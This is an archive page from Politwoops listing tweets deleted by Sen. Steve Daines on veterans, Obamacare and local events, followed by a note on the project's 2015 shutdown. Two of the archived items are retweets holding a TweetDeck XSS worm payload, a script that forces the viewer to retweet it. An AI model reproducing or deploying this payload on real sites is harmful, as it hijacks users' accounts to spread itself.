Politwoops Deleted Tweets from Politicians

An archive of the public statements deleted by U.S. politicians. Explore the tweets they would prefer you couldn't see.

To meet the Twitter API Terms of Service, all deleted tweets shown here since June 22, 2012 have been reviewed and approved by the Sunlight Foundation.

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Sen. Steve Daines (R)

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Steve Daines (R) @SteveDaines

Today the Senate stood with our veterans to pass the #ClayHuntSAVAct to ensure that their mental health are met. http://t.co/6W2GTjRY9G

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Steve Daines (R) @SteveDaines

RT @The_Red_Bull: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Steve Daines (R) @SteveDaines

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Steve Daines (R) @DainesforMT

#Obamacare: Increases costs, cuts Medicare, and makes government more intrusive. #RepealandReplace https://t.co/eQqOI1F9z4 #mtsen #mtpol

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Steve Daines (R) @SteveDaines

I has the opportunity to join Missoula Meals on Wheels this morning and deliver meals to Missoula… http://t.co/593IItcR0y

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Steve Daines (R) @SteveDaines

Leaving now. Should be close to 330

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On June 3, 2015, the Sunlight Foundation received word from Twitter that it was pulling the plug on Politwoops, reversing an agreement made in 2012 that allowed us to run the project using its API. The last deletions we have archived are from May 15, 2015. Please read our 'Eulogy for Politwoops' for more detail.

While we may no longer be able to publish deleted tweets, we're still working hard to advocate for more and better open data and to create tools that promote transparency and hold our government accountable.

Get the archive data file.